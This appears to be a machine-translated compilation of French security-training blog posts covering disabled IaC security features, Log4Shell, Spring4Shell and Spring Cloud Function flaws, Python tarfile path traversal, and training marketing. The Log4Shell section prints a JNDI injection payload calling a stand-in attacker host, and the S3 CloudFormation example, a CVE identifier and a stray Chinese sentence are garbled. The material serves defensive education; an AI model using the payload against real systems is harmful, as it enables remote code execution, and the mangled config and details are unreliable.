Informations relatives au code de sécurité

Aujourd'hui, les menaces liées à la cybersécurité sont omniprésentes et persistantes. À mesure que de plus en plus d'aspects de notre vie sont numérisés, les cybercriminels sont exposés à des risques plus élevés : trop de codes ne sont pas sécurisés et les données privées ont une valeur considérable. De plus, il est pratiquement impossible de suivre et de défendre tous les aspects de la surface d'attaque après le déploiement d'un programme.

Il existe des moyens d'atténuer certains de ces symptômes, et l'un d'entre eux est évident lorsque des organisations avisées adoptent le concept d'infrastructure en tant que code (IaC). Bien entendu, comme pour tout développement, il existe des pièges en matière de sécurité qui doivent être évités. De plus, étant donné que les développeurs génèrent du code qui sera utilisé pour héberger des applications critiques, la sensibilisation à la sécurité est essentielle à chaque étape du processus.

Alors, comment les développeurs qui découvrent l'environnement des serveurs cloud peuvent-ils améliorer leurs compétences, acquérir de nouvelles connaissances et développer leurs applications tout en renforçant leur sensibilisation à la sécurité ? Nous avons créé la prochaine série Coders Conquer Security afin de résoudre les vulnérabilités courantes de l'IaC. Les prochains articles de blogmettront l'accent sur les mesures que vous, développeurs, pouvez prendre pour commencer à déployer une infrastructure de sécurité sous forme de code au sein de votre organisation.

Commençons.

Il existe une fable dans l'Ouest américain qui raconte l'histoire d'un individu paranoïaque qui croyait que des bandits allaient attaquer et piller sa maison. En conséquence,il investit dans diverses mesures de sécurité, telles que l'installation d'une porte d'entrée ultra-résistante, la pose de barreaux à toutes les fenêtres et la mise à disposition d'un grand nombre d'armes à portée de main. Un soir, alors qu'il dormait, il fut victime d'un cambriolage, car il avait oublié de verrouiller la porte latérale. Les voleurs n'eurent qu'à trouver le dispositif de sécurité défaillant et en profitèrent rapidement.

La désactivation des fonctionnalités de sécurité dans l'infrastructure se présente de la manière suivante. Même si votre réseau dispose d'une infrastructure de sécurité solide, cela ne sera pas efficace si certains éléments sont désactivés.

Avant de nous plonger dans le sujet, permettez-moi de vous proposer un défi :

En accédant au lien ci-dessus, vous serez redirigé vers notre plateforme de formation ludique, où vous pourrez immédiatement vous exercer à surmonter les vulnérabilités des fonctionnalités de sécurité désactivées. (Remarque : elle s'ouvrira dans Kubernetes, mais vous pouvez sélectionner Docker, CloudFormation, Terraform ou Ansible à l'aide du menu déroulant).

Comment vous en sortez-vous ? Si vous avez encore du travail à accomplir, veuillez continuer à lire :

Les fonctionnalités de sécurité peuvent être désactivées pour diverses raisons. Pour certaines applications et certains frameworks, elles peuvent être désactivées par défaut et doivent être activées avant de pouvoir fonctionner. Les administrateurs peuvent également désactiver certaines fonctionnalités de sécurité afin de faciliter l'exécution de certaines tâches sans être constamment confrontés à des défis ou à des blocages (par exemple, rendre public un compartiment de stockage AWS S3). Une fois le travail terminé,ils peuvent oublier de réactiver les fonctionnalités désactivées. Ils peuvent également préférer les laisser désactivées afin de faciliter leur travail à l'avenir.

Pourquoi les fonctionnalités de sécurité désactivées sont-elles si dangereuses ?

Il est déconseillé de désactiver une ou plusieurs fonctionnalités de sécurité pour deux raisons. Tout d'abord, les fonctionnalités de sécurité sont intégrées aux ressources de l'infrastructure afin de prévenir les vulnérabilités, menaces ou failles connues. Si elles sont désactivées, elles ne pourront pas protéger vos ressources.

Les attaquants commencent toujours par rechercher les vulnérabilités faciles à exploiter, et peuvent même utiliser des scripts pour corriger les vulnérabilités courantes. Cela revient à inspecter toutes les voitures garées dans la rue pour vérifier si une portière est ouverte, ce qui est beaucoup plus simple que de briser une vitre. Les pirates informatiques peuvent être surpris de constater que les mesures de sécurité courantes sont désactivées. Cependant, lorsqu'ils constatent cela, ils n'hésitent pas à en tirer parti.

Deuxièmement, la mise en place d'une bonne sécurité suivie de sa désactivation peut créer un faux sentiment de sécurité. Si les administrateurs ignorent que ces défenses ont été désactivées, ils pourraient penser qu'ils sont à l'abri des menaces courantes.

À titre d'exemple illustrant comment un attaquant peut exploiter une fonctionnalité de sécurité désactivée, considérons la fonctionnalité de sécurité AWS S3 qui empêche l'accès public. Grâce au masquage de l'accès public Amazon S3, les administrateurs de compte et les propriétaires de compartiments peuvent facilement mettre en place un contrôle centralisé pour restreindre l'accès public à leurs ressources Amazon S3.Cependant, certains administrateurs rencontrent des difficultés pour accéder aux compartiments S3 et décident de les rendre publics afin de mener à bien leurs tâches dans les meilleurs délais. S'ils omettent d'activer la fonctionnalité de sécurité, les attaquants auront un accès complet aux informations stockées dans ces compartiments S3, ce qui entraînera non seulement une fuite d'informations, mais également des frais supplémentaires liés au transfert de données.

Comparons quelques codes du monde réel ; examinons l'extrait CloudFormation suivant :

Vulnérable :

Bucket d'entreprise :
Type : AWS:: S3:: Bucket
Propriétés :
Configuration de l'accès public aux blocs :
blockPublicACLS : Erreur
BlockPublicy : Erreur
ignorepublicacls : Erreur
restrictPublicBuckets :
Configuration du contrôle de version :
Statut : Activé
Chiffrement du bucket :
Configuration du chiffrement côté serveur :
- Chiffrement côté serveur par défaut :
Algorithme SSE : « AES256 »

Sécurité :

Bucket d'entreprise :
Type : AWS:: S3:: Bucket
Propriétés :
Configuration de l'accès public aux blocs :
blockPublicACLS : Oui
BlockPublicy : Oui
ignoreRepublicacls :
restrictPublicBuckets :
Configuration du contrôle de version :
Statut : Activé
Chiffrement du bucket :
Configuration du chiffrement côté serveur :
- Chiffrement côté serveur par défaut :
Algorithme SSE : « AES256 »

Empêcher la désactivation des fonctions de sécurité

Empêcher que la désactivation des fonctionnalités de sécurité ait un impact négatif sur votre organisation est à la fois une question de politique et de pratique. Il est recommandé de mettre en place une politique stricte stipulant que les fonctionnalités de sécurité ne peuvent être désactivées que dans des circonstances exceptionnelles. Les incidents nécessitant la désactivation temporaire d'une fonctionnalité pour résoudre un problème ou mettre à jour une application doivent être consignés. Une fois les tâches requises effectuées, il est conseillé de vérifier que la fonctionnalité a bien été réactivée.

Si les fonctionnalités de sécurité doivent être désactivées de manière permanente afin de simplifier les opérations, il est nécessaire de mettre en place des mesures de protection alternatives pour les données concernées, afin de garantir que les pirates informatiques ne puissent pas accéder à ces fonctionnalités en l'absence de protection par défaut. Si les fonctionnalités de protection requises sont désactivées, il n'est qu'une question de temps avant qu'un attaquant ne trouve une porte non verrouillée et n'en profite.

En savoir plus, se dépasser :

Nous vous invitons à consulter la page du blog Security Code Warrior pour obtenir des informations détaillées sur cette vulnérabilité et sur la manière de protéger votre organisation et vos clients contre d'autres failles et vulnérabilités de sécurité.

Maintenant que vous avez lu cet article, êtes-vous prêt à identifier et corriger cette vulnérabilité ? Il est tempsde relever le défi ludique de sécurité iMac sur Secure Code Warrior d'affiner et de maintenir à jour toutes vos compétences en cybersécurité Secure Code Warrior

Il s'agit d'une série d'articles hebdomadaires couvrant nos huit principales vulnérabilités « Infrastructure as Code » ; nous vous invitons à revenir la semaine prochaine pour plus d'informations.

Un article précédent du blog décrivait les pièges de Java « Opérateurs bit à bit et opérateurs booléens ».

• Pièges Java - Opérateurs bit à bit et opérateurs booléens

Nous avons intégré cette variante ainsi que d'autres pièges Java dans un petit quiz intéressant intitulé « Challenge The Sensei».

• scw.typeform.com/to/rgw7q7oe

Si vous avez lu l'article de blog ci-dessus, vous serez en mesure de répondre à au moins une question.

Cependant, vos amis pourraient ne pas être d'accord. Par conséquent, si vous trouvez le test intéressant, vous pouvez le partager avec eux pour voir si leurs résultats correspondent aux vôtres.

Nous ne souhaitons pas nous limiter à vous poser des questions. Nous souhaitons également l'utiliser pour contribuer à l'éducation et à la compilation des connaissances. Par conséquent, nous avons créé un référentiel Github contenant des exemples de code exécutables pour les questions et les solutions.

• github.com/secureCodeWarrior/Challenge-the-

Ceci est un dépôt activé par un enseignant.

Lorsque vous clonez le dépôt et le chargez dans IntelliJ, en supposant que vous ayez installé le plugin IntelliJ Secure Code Warrior Sensei, celui-ci détectera automatiquement la présence d'unsensei et chargera Sensei

Lorsque vous parcourez le code dans l'IDE, vous devriez voir IntelliJ vous signaler les erreurs présentes dans le code, ce qui devrait vous permettre de repérer plus facilement les problèmes dans le code :

• Veuillez placer votre souris sur le code mis en évidence et vous verrez apparaître un message vous indiquant l'erreur.
• En utilisant la touche « Afficher les opérations contextuelles » : alt+Entrée (Windows) Option+Entrée (macOS), nous pourrions disposer d'une correction rapide pour réparer le code.

Ajout de la recette Sensei :

• Opérateur bit à bit
• Séparez l'adresse IP
• Confirmation de commande

Nous ajouterons prochainement davantage de recettes et de textes explicatifs afin de couvrir le reste du code... Cependant, cela ne devrait pas vous empêcher de consulter le code et de détecter les erreurs.

N'oubliez pas de passer le test et de «défier le professeur».

Le 9 décembre, une vulnérabilité zero-day dans la bibliothèque Java Log4j a été révélée. CVE-44228, surnommée Log4Shell,a été classéecomme« trèsgrave» car elle peutpermettre l'exécution de code à distance. De plus, log4j-core étant l'une des bibliothèques de journalisation Java les plus utilisées, elle met en danger des millions d'applications.

Souhaitez-vous améliorer rapidement vos compétences en matière de gestion de Log4Shell ?

Nous avons créé une vitrine qui vous guide depuis les concepts de base de Log4Shell jusqu'à l'expérience pratique de l'exploitation de cette vulnérabilité dans un simulateur appelé Mission. Dans cette mission, nous vous guiderons à travers l'impact de la vulnérabilité Log4j sur votre infrastructure et vos applications. Veuillez cliquer ici pour accéder directement à la vitrine, ou continuer votre lecture pour en savoir plus sur cette vulnérabilité.

Des informations anciennes ?

Cette vulnérabilité n'est pas nouvelle. Les chercheurs en sécurité l'ont déjà soulignée lors de la conférence BlackHat 2016. Álvaro Muñoz et Oleksandr Mirosh ont insisté sur le fait que «les applications ne devraient pas utiliser des données non fiables pour exécuter des requêtes JNDI » etont expliqué comment une injection JNDI/LDAP ciblée pouvait conduire à l'exécution de code à distance. C'est précisément le cœur du problème avec Log4Shell.

Vecteur d'attaque

La charge d'injection de Log4Shell est présentée ci-dessous :

$ {jndi: ldap: //attacker.host/xyz}

要理解这一点，我们需要了解 Java 的表达式语言 (EL)。用以下语法编写的表达式： $ {expr} 将在运行时进行评估。例如，$ {java: version} 将返回正在使用的 Java 版本。

Ensuite, il y a JNDI, ou Java Naming and Directory Interface,une API qui permet de se connecter à des services à l'aide de protocoles tels que LDAP, DNS, RMI, etc. pour récupérer des données ou des ressources. En résumé, dans l'exemple de charge malveillante ci-dessus, JNDI effectue une requête sur le serveur LDAP contrôlé par l'attaquant. Par exemple, sa réponse peut pointer vers un fichier de classe Java contenant du code malveillant qui, en retour, s'exécutera sur le serveur vulnérable.

Cette vulnérabilité est particulièrement préoccupante car Log4j évalue toutes les entrées de journal et interroge toutes les entrées utilisateur enregistrées écrites dans le langage EL préfixées par « jndi ». Une charge utile peut être injectée à n'importe quel endroit où l'utilisateur peut saisir des données, par exemple dans les champs d'un formulaire. De plus, les en-têtes HTTP, tels que User-Agent et X-Forwarded-For, ainsi que d'autres en-têtes, peuvent être personnalisés pour transporter une charge utile.

Pour découvrir par vous-même les failles, veuillez vous rendre dans notre espace d'exposition et passer à l'étape 2 : « Découvrezl'impact ».

Prévention : sensibilisation

Il est recommandé de mettre à jour toutes les applications, car Log4j continue de corriger les codes vulnérables. Cependant, les versions 2.15.0 et 2.16.0 contiennent des vulnérabilités DDoS et autres, ce qui signifie qu'à partir de fin décembre, il est conseillé de passer à la version 2.17.0.

Lorsque les développeurs écrivent du code, nous devons toujours tenir compte de la sécurité. Log4Shell nous montre que l'utilisation de frameworks ou de bibliothèques tiers comporte des risques. Nous devons être conscients du fait que l'utilisation de ressources externes peut compromettre la sécurité de nos applications, alors que nous considérons naïvement ces ressources externes comme sûres.

Cette vulnérabilité peut-elle être évitée ? Oui et non. D'une part, ce n'est qu'en introduisant des composants vulnérables via des logiciels tiers que les développeurs peuvent faire davantage. D'autre part, la leçon à en tirer est une leçon qui se répète sans cesse : ne jamais se fier aux entrées des utilisateurs.

Secure Code Warrior estime que des développeurs sensibilisés à la sécurité constituent le meilleur moyen de prévenir les failles de code. Grâce à la formation à grande échelle dispensée par SCW sur des frameworks de programmation spécifiques, les entreprises clientes peuvent rapidement identifier les développeurs Java concernés à l'aide des données du rapport. Elles s'appuient également sur des responsables de la sécurité formés par SCW pour accélérer la mise à niveau de Log4j.

Secure Code Warrior Senseiplugin IntelliJ Sensei, particulièrement destiné aux développeurs Java. Cet outil d'analyse de code basé sur des règles permet d'appliquer des directives de codage et de prévenir et corriger les vulnérabilités. Vous pouvez créer vos propres règles ou utiliser nos règles prêtes à l'emploi, appelées « recettes». Nous vous invitons àconsulter nos recettes et à téléchargernotre recette Log4j, qui vous aidera à identifier et corriger la vulnérabilité Log4Shell en un clin d'œil.

Renforcez vos compétences en matière de défense contre Log4Shell

Souhaitez-vous mettre en pratique les connaissances acquises dans cet article de blog ? Notre vitrine peut vous y aider. Au début de la démonstration, vous découvrirez rapidement cette vulnérabilité, puis vous serez dirigé vers un environnement simulé où vous pourrez tester la vulnérabilité en suivant les instructions fournies.

‍

Récemment, Spring, l'une des bibliothèques les plus populaires de la communauté Java, a révélé deux vulnérabilités liées à l'exécution de code à distance (RCE). Afin de vous aider à mieux comprendre si vous êtes exposé à ces vulnérabilités et quelles mesures prendre, nous avons détaillé les informations connues sur « Spring4Shell » et « Spring Cloud Function ».

Vulnérabilité 1 - « Spring4Shell » (CVE-2022-22965)

Le 29 mars 2022, la communauté a identifié une série de tweets contenant des captures d'écran illustrant une preuve de concept de vulnérabilité dans Spring Core (SC). Cette vulnérabilité permet l'exécution à distance de code Spring Core sur toutes les versions, y compris la version 5.3.17 récemment publiée.

Quelles applications sont concernées par ce risque ?

À l'heure actuelle, seules les applications hébergées sur Tomcat ont été identifiées comme étant exposées à cette nouvelle vulnérabilité. Bien qu'aucune attaque visant le conteneur Tomcat Servlet intégré ou toute autre application non hébergée par Tomcat n'ait encore été confirmée, cela n'exclut pas la possibilité que ces cadres soient utilisés avec succès à l'avenir.

Au printemps, une déclaration officielle a été publiée concernant cette vulnérabilité. D'après les connaissances actuelles sur cette vulnérabilité, il est précisé que les conditions suivantes doivent être réunies pour qu'une attaque puisse avoir lieu :

• JDK 9 ou version ultérieure
• Apache Tomcat en tant que conteneur de servlets
• Empaqueté sous forme de WAR traditionnel (contrairement au fichier jar exécutable Spring Boot)
• Dépendances Spring-webmvc ou Spring-webflux
• Spring Framework versions 5.3.0 à 5.3.17, 5.2.0 à 5.2.19 et versions antérieures

Comment fonctionne la faille « Spring4Shell » ?

Cette vulnérabilité dépend de l'utilisation de « data binding » (org.springframework.web.bind.Web.bind.WebDataBinder) dans les requêtes utilisant des objets Java ordinaires (POJO) dans la signature de la méthode :

La classe Foo est une classe POJO qui peut être définie comme suit. Veuillez noter que la classe réelle n'a pas d'importance, tant qu'elle est chargée par le chargeur de classes.

Lorsque la requête est traitée par cette méthode, le chargeur de classes est utilisé pour analyser la classe. Le chargeur de classes est responsable du chargement des classes lors de l'exécution, sans avoir à précharger tous les types possibles dans la mémoire. Il détermine quel fichier .jar doit être chargé lors de l'utilisation d'une nouvelle classe.

Vous pouvez trouver des informations récentes et détaillées sur cette vulnérabilité directement sur Spring, notamment des articles de blogincluant des correctifs potentiels ou des solutions de contournement.

Vulnérabilité 2 - Fonction Spring Cloud (CVE-2022-22963)

Le 27 mars 2022, Cyber Kendra a publié des informations détaillées concernant une vulnérabilité d'exécution de code à distance (RCE) de type « zero-day » dans Spring Cloud Functions, pour laquelle aucun correctif n'est encore disponible. Cette vulnérabilité a reçu l'identifiant CVE-2022-22963 : vulnérabilité d'accès aux ressources d'expression Spring.

Quelles applications sont concernées par ce risque ?

Cette vulnérabilité affecte les applications dans les conditions suivantes :

• JDK 9 ou version ultérieure
• Spring Cloud Functions version 3.1.6 (ou antérieure), 3.2.2 (ou antérieure) ou toute autre version non prise en charge

Comment fonctionne l'exploitation ?

Spring Cloud Function permet aux développeurs de configurer le traitement du routage via la propriété spring.cloud.function.routing-expression, généralement via la configuration ou le code. Il s'agit d'une fonctionnalité puissante de « Spring Expression Language » (SpEL). Grâce à cette vulnérabilité de type « zero-day », nous avons découvert que cette propriété peut être définie via l'en-tête HTTP de la requête, ce qui signifie qu'un attaquant peut intégrer directement du code SpEL dans la requête HTTP de son point de terminaison RoutingFunction, et ainsi exécuter du code arbitraire.

Quelles mesures les utilisateurs devraient-ils prendre pour réduire les risques ?

Les versions 3.1.7 et 3.2.3 publiées au printemps ont résolu ce problème en empêchant la configuration de cette propriété via l'en-tête HTTP, ce qui a permis de pallier la vulnérabilité. Après la mise à niveau vers l'une ou l'autre de ces versions, aucune autre mesure n'est nécessaire.

Souhaitez-vous en savoir plus sur la manière dont nous aidons les développeurs à écrire un code plus sécurisé ?Veuillez réserver une démonstration ou consulter notre guide gratuit sur le codage sécurisé , le Coach de codage sécurisé.

‍

Source

• https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/
• https://www.rapid7.com/blog/post/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework/

‍

Récemment, un groupe de chercheurs en sécurité a annoncé avoir découvert une faille vieille de quinze ans dans la fonctionnalité d'extraction des fichiers tar de Python. Cette vulnérabilité a été signalée pour la première fois en 2007 et référencée sous le numéro CVE-2007-4559. Une note a été ajoutée dans la documentation officielle de Python, mais la faille elle-même n'a pas été corrigée.

Cette vulnérabilité pourrait affecter des milliers de projets logiciels, mais beaucoup de personnes ne sont pas conscientes de la situation ou ne savent pas comment y remédier. C'est pourquoi, chez Security Code Warriors, nousvous offrons la possibilité de simuler vous-même l'exploitation de cette vulnérabilité afin de constater ses effets et de comprendre le mécanisme de cette erreur persistante, ce qui vous permettra de mieux protéger vos applications.

Veuillez essayer la simulation de mission dès maintenant.

Vulnérabilité : parcours de chemin lors de l'extraction d'un fichier tar

Lorsque des entrées utilisateur non vérifiées sont utilisées pour construire des chemins d'accès à des fichiers, cela peut entraîner un parcours de chemin ou de répertoire, permettant ainsi à un attaquant d'obtenir des privilèges d'accès, de remplacer des fichiers, voire d'exécuter du code arbitraire.

Cette vulnérabilité est présente dans le module tarfile de Python. Un fichier tar (archive sur bande) est un fichier unique appelé archive. Il regroupe plusieurs fichiers et leurs métadonnées, généralement identifiés par l'extension .tar.gz ou .tgz. Chaque élément de l'archive peut être représenté par un objet TarInfo contenant des métadonnées telles que le nom du fichier, la date de modification, le propriétaire, etc.

Le risque réside dans la possibilité de récupérer à nouveau les archives.

Lors de l'extraction, chaque membre doit indiquer un chemin d'accès. Cet emplacement est créé en combinant le chemin d'accès de base et le nom du fichier :

Une fois ce chemin créé, il sera transmis au fichier tarfile.extra. tarfile.extra ou tarfile.extall pour exécuter la fonction d'extraction :

Le problème ici est l'absence de nettoyage des noms de fichiers. Un attaquant pourrait renommer un fichier de manière à inclure des caractères de traversée de chemin, tels que des barres obliques inversées (../), ce qui permettrait au fichier de sortir du répertoire où il est censé se trouver et de remplacer n'importe quel fichier. Cela pourrait finalement conduire à l'exécution de code à distance, et le moment est venu d'exploiter cette faille.

Si vous savez comment identifier cette vulnérabilité, elle peut apparaître dans d'autres contextes. Outre le traitement des fichiers tar par Python, cette vulnérabilité existe également lorsde l'extraction de fichiers zip. Vous la connaissez peut-être sous un autre nom, tel que « vulnérabilité des fichiers compressés », qui a déjà été observée dans d'autres langages que Python.

Lien vers la tâche 

Comment réduire les risques ?

Bien que cette vulnérabilité soit connue depuis plusieurs années, les responsables de la maintenance de Python considèrent toujours que la fonctionnalité d'extraction fonctionne comme prévu. Dans ce contexte, certains pourraient affirmer qu'il s'agit d'une fonctionnalité et non d'un défaut. Malheureusement, les développeurs ne peuvent pas toujours éviter d'extraire des fichiers tar ou zip provenant de sources inconnues. Dans le cadre des pratiques de développement sécurisé, il est de leur responsabilité de nettoyer les entrées non fiables afin de prévenir les vulnérabilités de type « path traversal ».

Souhaitez-vous en savoir plus sur la manière d'écrire du code sécurisé et de réduire les risques avec Python ?

Nous vous invitons à essayer notre défi Python gratuit.

Si vous souhaitez obtenir davantage de guides de programmation gratuits, veuillez consulter le Code Coach pour la sécurité afin de vous familiariser avec les pratiques de codage sécurisé.

‍

‍

Micha Martinez est analyste en cybersécurité et cinéaste chez Nelnet, une société américaine spécialisée dans la gestion et le remboursement des prêts étudiants et des services financiers liés à l'éducation. Lorsqu'il a été chargé de créer un programme de formation sur le codage sécurisé à l'intention des développeurs, il a adopté une approche créative pour susciter l'intérêt de l'équipe. Nous avons été impressionnés par la manière dont il a mené ce programme de formation au codage sécurisé, et nous avons donc souhaité nous entretenir avec lui pour en savoir plus.

Le résultat final ?

Créer une culture de la sécurité, former des défenseurs de la sécurité interne au sein des équipes de développement, et devenir une force positive.

En nous concentrant sur la sécurité des codes, nous contribuons à renforcer et sécuriser davantage les entreprises.

Chez Nelnet, Micha et son équipe de sécurité ont compris dès le début l'importance de créer un code sécurisé. Ils souhaitent atteindre cet objectif de manière captivante, pertinente et utile.Il a constaté qu'en identifiant les développeurs qui manifestaient un intérêt et une compétence marqués pour le codage sécurisé et en les formant pour qu'ils deviennent des défenseurs de la sécurité, ces derniers devenaient les catalyseurs de toute une mentalité de formation à la sécurité. Ces personnes guident leurs collègues qui ont besoin d'une aide ponctuelle et deviennent les chefs de file de la mise en œuvre des changements de pratiques en matière de codage sécurisé au sein de l'organisation.

Voici d'autres informations sur Micha, qui explique comment lui et son équipe ont transformé la mentalité et la culture en matière de sécurité, rendant ainsi leur entreprise « plus forte et plus sûre ».

Tout est lié au droit de se vanter... et à la réduction des failles.

Micha ne suit pas les programmes de formation à la sécurité habituels. Il utilise la compétition et son talent pour la photographie afin de rendre les concours attrayants et réussis. Les développeurs acquièrent des connaissances pratiques très pertinentes qui leur permettent de générer un code de sécurité plus puissant.

À mesure que leurs produits deviennent plus sécurisés et offrent un niveau plus élevé de protection contre les vulnérabilités logicielles, l'entreprise remporte également des succès. L'apprentissage de la sécurité logicielle ne doit pas nécessairement être une expérience classique et ennuyeuse, consistant simplement à cocher des cases. Les développeurs souhaitent bénéficier d'une expérience de formation immersive, stimulante et en rapport avec leur travail quotidien.

Veuillez observer Micha expliquer comment il a rendu la formation à la programmation sécurisée plus intéressante en organisant des compétitions, avec notamment des ceintures de champion et des billets pour WrestleMania comme récompenses. Il suffit d'une saine compétition pour que son équipe accorde la priorité à la sécurité.

Qui n'apprécie pas le privilège de pouvoir se vanter ?

‍

Adopter une culture axée sur la sécurité du codage... Cet outil n'est pas suffisant.

Micha nous a laissé une dernière réflexion sur les raisons pour lesquelles il recommande Secure Code Warrior. Cette plateforme est un outil qui l'a incité à créer une culture de prévention et d'apprentissage proactif. L'élaboration d'un programme de formation prend du temps et nécessite d'investir dans des développeurs formés et performants. Il faut une culture transformatrice pour développer les compétences de chaque développeur en matière de codage sécurisé préventif.

Voici un complément d'information de Micha expliquant pourquoi l'adoption d'une culture de codage sécurisé Secure Code Warrior .

Secure Code Warrior une plateforme d'apprentissage immersive et captivante sur le codage sécurisé. Souhaitez-vous assister à une démonstration ? Veuillez réserver ci-dessous.

Nous avons rencontré Larry Maccherone, leader dans le domaine de la sécurité des applications modernes, qui intègre directement l'analyse de code et la défense contre les attaques dans les logiciels. Nous avons discuté de la manière dont l'apprentissage contextuel permet de former efficacement les développeurs à la programmation sécurisée.

Les développeurs d'aujourd'hui sont de plus en plus chargés de prévenir les failles de cybersécurité de demain. Bien qu'il existe des formations sur les vulnérabilités du code, elles sont souvent présentées sous une forme peu attrayante et sans rapport avec le travail quotidien des développeurs. Ces derniers doivent écrire rapidement du code pour répondre aux besoins des clients, ce qui les amène à reporter les objectifs opérationnels tels que la formation.De plus, lorsque cette formation est présentée hors contexte, sous la forme de longues présentations ou de manuels d'apprentissage, elle devient encore plus difficile à suivre et il est difficile de percevoir les avantages de cet effort supplémentaire.

Comment une organisation peut-elle fournir aux développeurs une formation essentielle en matière de sécurité sans perturber leurs responsabilités quotidiennes ni les éloigner de leurs outils et processus de travail préférés ?

La réponse est simple. Grâce à l'apprentissage par situation, les développeurs ont accès à des formations à portée de main. Larry explique dans la vidéo suivante pourquoi cette approche est si efficace pour les développeurs.

En intégrant des opportunités de formation au moment où les développeurs examinent les problèmes de code, ils peuvent immédiatement obtenir les informations les plus pertinentes concernant les problèmes ou les vulnérabilités détectés. De plus, comme la formation est dispensée par blocs plus petits et plus faciles à comprendre, les développeurs sont plus susceptibles de retenir les informations et d'éviter d'utiliser à l'avenir du code vulnérable. Comme l'a dit Larry, « le retour d'information est la clé de l'apprentissage ».

Le plus important est que les développeurs doivent accomplir davantage de tâches dans un délai plus court, tout en fournissant un code sécurisé et de haute qualité. En intégrant une formation contextualisée sur les vulnérabilités du code, cela optimise le flux de travail et l'expérience des développeurs, tout en améliorant leur taux de rétention. Écoutez Larry expliquer comment économiser ces 40 heures de formation.

Secure Code Warrior une intégrSecure Code Warrior qui offre à vos équipes de développement et de sécurité une formation contextuelle et hautement pertinente.

Êtes-vous intéressé par une démonstration ? Veuillez en réserver une ci-dessous.

‍

Le cycle de développement des logiciels (SDLC) semble assez inoffensif ; c'est un processus, et nous, les informaticiens, nous nous réunissons pour que la magie opère et pour expédier tous ces biens numériques dont la société ne peut se passer.

Sauf que... si vous avez déjà participé à un projet de développement de logiciel, vous savez qu'il s'agit généralement d'un gant, avec de nombreuses quêtes à conquérir et des dragons à tuer. C'est amusant pendant un certain temps, mais l'épuisement professionnel est réel, et la demande de logiciels nous fait tous travailler à la vitesse de la lumière dans le meilleur des cas, en particulier l'équipe de développement.

Imaginez maintenant qu'on leur confie une autre tâche incontournable : la responsabilité de la sécurité des éléments du projet qu'ils touchent. Dans le pire des cas, le château de cartes peut s'écrouler pour certains individus, mais le scénario le plus réaliste est que la sécurité n'est tout simplement pas considérée comme une priorité et que les problèmes jugés plus urgents à résoudre prennent le dessus. Et lorsque la plupart des développeurs ne sont pas formés pour coder en toute sécurité (surtout si leurs responsables n'accordent pas non plus la priorité à la sécurité), il n'est pas étonnant que nous assistions à de fréquentes violations de données, à la sortie d'applications défectueuses et à une sérieuse désaffection des professionnels de la sécurité qui atteignent le point de rupture sous l'avalanche de codes bogués.

Les développeurs ont besoin d'un défenseur de l'AppSec.

Si l'on considère le scénario ci-dessus, on peut comprendre pourquoi la sécurité est mise dans le panier "trop difficile" au cours du processus de codage, et laissée à l'équipe de sécurité pour s'en occuper. Trop d'échéances concurrentes, pas assez de formation et aucune raison réelle de se préoccuper de la sécurité avec tout ce qui se passe ailleurs. Cependant, la demande de code est tout simplement trop importante pour que ce statu quo perdure. C'est là que les développeurs de haut niveau peuvent se démarquer de leurs pairs, acquérir de nouvelles compétences et, surtout, créer un code plus sûr.

Cependant, il est important de se rappeler que la gestion de la sécurité des logiciels ne repose pas uniquement sur les épaules des développeurs - c'est toujours le domaine de l'équipe AppSec (qui, lorsqu'elle travaille avec des développeurs sensibilisés à la sécurité, dispose d'une plus grande marge de manœuvre au lieu de réparer les bogues courants de façon répétée). Pour que le processus DevSecOps fonctionne, il faut que chaque membre de l'équipe dispose du soutien et des outils dont il a besoin pour partager la responsabilité de la sécurité, et le bon type de formation est primordial. L'équilibre entre la bonne série d'outils et la bonne formation nécessite la perspicacité de professionnels de l'AppSec prêts à travailler en étroite collaboration avec les développeurs afin de les inspirer et de conduire un changement positif.

Les formations perturbatrices sont plus ennuyeuses qu'efficaces, et tout ce qui est répulsif pour les développeurs ne fonctionnera pas. Une solution intégrée à un IDE ou à un outil de suivi des problèmes, axée sur des connaissances fragmentaires, est une alternative qui permet de mettre les bonnes informations à la disposition des développeurs, au moment même où ils en ont besoin.

Voici comment cela fonctionne :

Juste à temps, et non pas "juste au cas où".

L'apprentissage contextuel et pratique est de loin la manière la plus efficace de former, avec des morceaux de taille réduite livrés au moment le plus opportun. C'est ce que l'on appelle parfois la formation "juste à temps" (JiT), qui est très efficace pour les développeurs qui apprennent à coder de manière sécurisée.

Inspirée des principes de production allégée de Toyota, la formation JiT est conçue pour être activée sur la base du besoin de savoir, dans le contexte, au moment où cela compte le plus. Un développeur vient-il d'écrire quelque chose qui semble avoir des autorisations inappropriées ? Et si une petite porte dérobée avait été ouverte, permettant à un attaquant d'exécuter du code à distance ? Il sera beaucoup plus mémorable que les développeurs puissent accéder aux connaissances dès qu'ils en ont besoin, plutôt que de parcourir la documentation dans Confluence ou de chercher sur Google quelque chose qui a été abordé lors de la formation.

Le juste-à-temps est l'antithèse de l'apprentissage "juste au cas où" ; bien que ce dernier soit le moyen le plus courant de transmettre des connaissances, il n'est tout simplement pas efficace. Nous devons faire en sorte qu'il soit plus facile pour les développeurs de s'engager dans les meilleures pratiques de codage sécurisé et de voir l'avantage d'améliorer leurs compétences pour leur carrière tout en se concentrant sur les objectifs clés sur lesquels ils travaillent en ce moment.

Arrêtez de faire courir les développeurs après la formation.

Nous savons déjà qu'il y a trop de choses à faire dans une journée de travail, alors pourquoi les développeurs devraient-ils se rendre dans une salle de classe ou changer de contexte pour passer par cinq étapes afin d'accéder à une formation théorique statique ?

Le consensus général est que ce que font la plupart des organisations n'est pas terriblement efficace si l'on en croit le nombre de vulnérabilités à l'origine de violations de données. Le rapport 2020 Data Breach Investigations Report de Verizon précise que 43 % des violations de données peuvent être attribuées à des vulnérabilités web. Les développeurs ne reçoivent pas de formation efficace, ni dans l'enseignement supérieur, ni dans le cadre de mesures de perfectionnement sur le lieu de travail. Si c'était le cas, les vulnérabilités courantes telles que l'injection SQL et la traversée de chemin à l'ancienne ne seraient pas exploitées pour obtenir des données importantes, et la pénurie de compétences en cybersécurité ne serait pas incontrôlable.

